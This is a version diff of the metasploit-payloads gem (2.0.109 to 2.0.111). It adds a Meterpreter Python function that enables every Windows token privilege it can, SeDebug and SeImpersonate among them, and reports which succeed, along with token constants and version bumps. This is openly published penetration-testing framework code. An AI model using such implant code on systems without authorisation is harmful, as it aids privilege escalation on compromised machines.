metasploit-payloads 2.0.109 → 2.0.111

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: a667e59f354834de4c22bab9b2e20964c8da6c69d1a4ef5d90ddc66e45320fa0
-  data.tar.gz: 2f10651bd6ade59a0d69c6ebd0ed8c636aceb1c86208827ad3130f9c968857e0
+  metadata.gz: 7909c1b37004dee1af5bed7dbe25381e5a3fcaba7a7d0ee4101f5e518aef6a36
+  data.tar.gz: e438b3747393682ffe47594ce438ed27086781602b524071aa73c51f7477e07a
 SHA512:
-  metadata.gz: 75d36a853ef6d09e030061d997832e98e31a6f8682b9dda7c8715ef4cf6a91839de11def68602cb4af2fb700ee4ce623b265748d72caee34548e855ebe59858c
-  data.tar.gz: 48d8b118e18a02b4415b35377ad9771b9f2a8bb2717e24cdbe2fe90a969727f3e7cf255783a3e08655da9fad1dc208556c6946cd1ff973e344b3237735405d8c
+  metadata.gz: cda77751aa1547b93c6be12c0fe4fbedafa915bf5f34a1931d6bef4e44ad6c7c0a89a96fbe6b4878c050a196aa9fd6032800341a38826b5718d0fa3695772240
+  data.tar.gz: d40c9e8db0fd4d02e8f8e807fc26ce095b6703548de0c74cce5ad514a9082cee4ebe3b0010d4f2ab1b978d93c79c7184249540839e52f89b1b3bdb7bc8c594b4

data/data/meterpreter/ext_server_stdapi.py

@@ -489,6 +489,7 @@ TLV_TYPE_HANDLE                = TLV_META_TYPE_QWORD   | 600
 TLV_TYPE_INHERIT               = TLV_META_TYPE_BOOL    | 601
 TLV_TYPE_PROCESS_HANDLE        = TLV_META_TYPE_QWORD   | 630
 TLV_TYPE_THREAD_HANDLE         = TLV_META_TYPE_QWORD   | 631
+TLV_TYPE_PRIVILEGE             = TLV_META_TYPE_STRING  | 632
 
 ##
 # Fs
@@ -749,6 +750,25 @@ VER_PLATFORM_WIN32s               = 0x0000
 VER_PLATFORM_WIN32_WINDOWS        = 0x0001
 VER_PLATFORM_WIN32_NT             = 0x0002
 
+# Token Constants
+TOKEN_ASSIGN_PRIMARY              = 0x0001
+TOKEN_DUPLICATE                   = 0x0002
+TOKEN_IMPERSONATE                 = 0x0004
+TOKEN_QUERY                       = 0x0008
+TOKEN_QUERY_SOURCE                = 0x0010
+TOKEN_ADJUST_PRIVILEGES           = 0x0020
+TOKEN_ADJUST_GROUPS               = 0x0040
+TOKEN_ADJUST_DEFAULT              = 0x0080
+TOKEN_ADJUST_SESSIONID            = 0x0100
+TOKEN_ALL_ACCESS                  = 0xf01ff
+
+# Privilege Constants
+DISABLED                          = 0x0
+SE_PRIVILEGE_ENABLED_BY_DEFAULT   = 0x1
+SE_PRIVILEGE_ENABLED              = 0x2
+SE_PRIVILEGE_REMOVED              = 0x4
+SE_PRIVILEGE_USED_FOR_ACCESS      = 0x800000000
+
 # Windows Access Controls
 MAXIMUM_ALLOWED                   = 0x02000000
 
@@ -855,7 +875,6 @@ def get_stat_buffer(path):
     return st_buf
 
 def get_token_user(handle):
-    TOKEN_QUERY = 0x0008
     TokenUser = 1
     advapi32 = ctypes.windll.advapi32
     advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
@@ -1054,9 +1073,6 @@ def windll_GetVersion():
     return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
 
 def enable_privilege(name, enable=True):
-    TOKEN_ALL_ACCESS = 0xf01ff
-    SE_PRIVILEGE_ENABLED = 0x00000002
-
     GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
     GetCurrentProcess.restype = ctypes.c_void_p
 
@@ -1216,6 +1232,81 @@ def stdapi_sys_config_getuid(request, response):
     response += tlv_pack(TLV_TYPE_USER_NAME, username)
     return ERROR_SUCCESS, response
 
+@register_function_if(has_windll)
+def stdapi_sys_config_getprivs(request, response):
+    GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
+    GetCurrentProcess.restype = ctypes.c_void_p
+
+    advapi32 = ctypes.windll.advapi32
+    OpenProcessToken = advapi32.OpenProcessToken
+    OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]
+    OpenProcessToken.restype = ctypes.c_bool
+
+    LookupPrivilegeValue = advapi32.LookupPrivilegeValueW
+    LookupPrivilegeValue.argtypes = [ctypes.c_wchar_p, ctypes.c_wchar_p, ctypes.POINTER(LUID)]
+    LookupPrivilegeValue.restype = ctypes.c_bool
+
+    AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
+    AdjustTokenPrivileges.argtypes = [ctypes.c_void_p, ctypes.c_bool, PTOKEN_PRIVILEGES, ctypes.c_uint32, PTOKEN_PRIVILEGES, ctypes.POINTER(ctypes.c_uint32)]
+    AdjustTokenPrivileges.restype = ctypes.c_bool
+
+    token = ctypes.c_void_p()
+    success = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, token)
+    if not success:
+        return error_result_windows(), response
+
+    priv_list = [
+        "SeAssignPrimaryTokenPrivilege",
+        "SeAuditPrivilege",
+        "SeBackupPrivilege",
+        "SeChangeNotifyPrivilege",
+        "SeCreatePagefilePrivilege",
+        "SeCreatePermanentPrivilege",
+        "SeCreateTokenPrivilege",
+        "SeDebugPrivilege",
+        "SeIncreaseBasePriorityPrivilege",
+        "SeIncreaseQuotaPrivilege",
+        "SeLoadDriverPrivilege",
+        "SeLockMemoryPrivilege",
+        "SeMachineAccountPrivilege",
+        "SeProfileSingleProcessPrivilege",
+        "SeRemoteShutdownPrivilege",
+        "SeRestorePrivilege",
+        "SeSecurityPrivilege",
+        "SeShutdownPrivilege",
+        "SeSystemEnvironmentPrivilege",
+        "SeSystemProfilePrivilege",
+        "SeSystemtimePrivilege",
+        "SeTakeOwnershipPrivilege",
+        "SeTcbPrivilege",
+        "SeCreateGlobalPrivilege",
+        "SeCreateSymbolicLinkPrivilege",
+        "SeEnableDelegationPrivilege",
+        "SeImpersonatePrivilege",
+        "SeIncreaseWorkingSetPrivilege",
+        "SeManageVolumePrivilege",
+        "SeRelabelPrivilege",
+        "SeSyncAgentPrivilege",
+        "SeTimeZonePrivilege",
+        "SeTrustedCredManAccessPrivilege",
+        "SeDelegateSessionUserImpersonatePrivilege"
+    ]
+    for privilege in priv_list:
+        luid = LUID()
+        name = ctypes.create_unicode_buffer(privilege)
+        success = LookupPrivilegeValue(None, name, luid)
+        if success:
+            size = ctypes.sizeof(TOKEN_PRIVILEGES)
+            size += ctypes.sizeof(LUID_AND_ATTRIBUTES)
+            buffer = ctypes.create_string_buffer(size)
+            tokenPrivileges = ctypes.cast(buffer, PTOKEN_PRIVILEGES).contents
+            tokenPrivileges.PrivilegeCount = 1
+            tokenPrivileges.get_array()[0].Luid = luid
+            tokenPrivileges.get_array()[0].Attributes = SE_PRIVILEGE_ENABLED
+            if AdjustTokenPrivileges(token, False, tokenPrivileges, 0, None, None):
+                response += tlv_pack(TLV_TYPE_PRIVILEGE, privilege)
+    return ERROR_SUCCESS, response
+
 @register_function
 def stdapi_sys_config_localtime(request, response):
     localtime = time.strftime("%Y-%m-%d %H:%M:%S %Z", time.localtime())
@@ -1374,8 +1465,6 @@ def stdapi_sys_process_get_processes_via_ps(request, response):
 
 def stdapi_sys_process_get_processes_via_windll(request, response):
     TH32CS_SNAPPROCESS = 2
-    TOKEN_QUERY = 0x0008
-    TokenUser = 1
     k32 = ctypes.windll.kernel32
     pe32 = PROCESSENTRY32()
     pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
@@ -1435,7 +1524,6 @@ def stdapi_sys_process_get_processes(request, response):
         return stdapi_sys_process_get_processes_via_windll(request, response)
     else:
         return stdapi_sys_process_get_processes_via_ps(request, response)
-    return ERROR_FAILURE, response
 
 @register_function_if(has_windll)
 def stdapi_sys_power_exitwindows(request, response):

data/lib/metasploit-payloads/version.rb

@@ -1,6 +1,6 @@
 # -*- coding:binary -*-
 module MetasploitPayloads
-  VERSION = '2.0.109'
+  VERSION = '2.0.111'
 
   def self.version
     VERSION

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: metasploit-payloads
 version: !ruby/object:Gem::Version
-  version: 2.0.109
+  version: 2.0.111
 platform: ruby
 authors:
 - OJ Reeves
@@ -96,7 +96,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2023-01-30 00:00:00.000000000 Z
+date: 2023-02-16 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake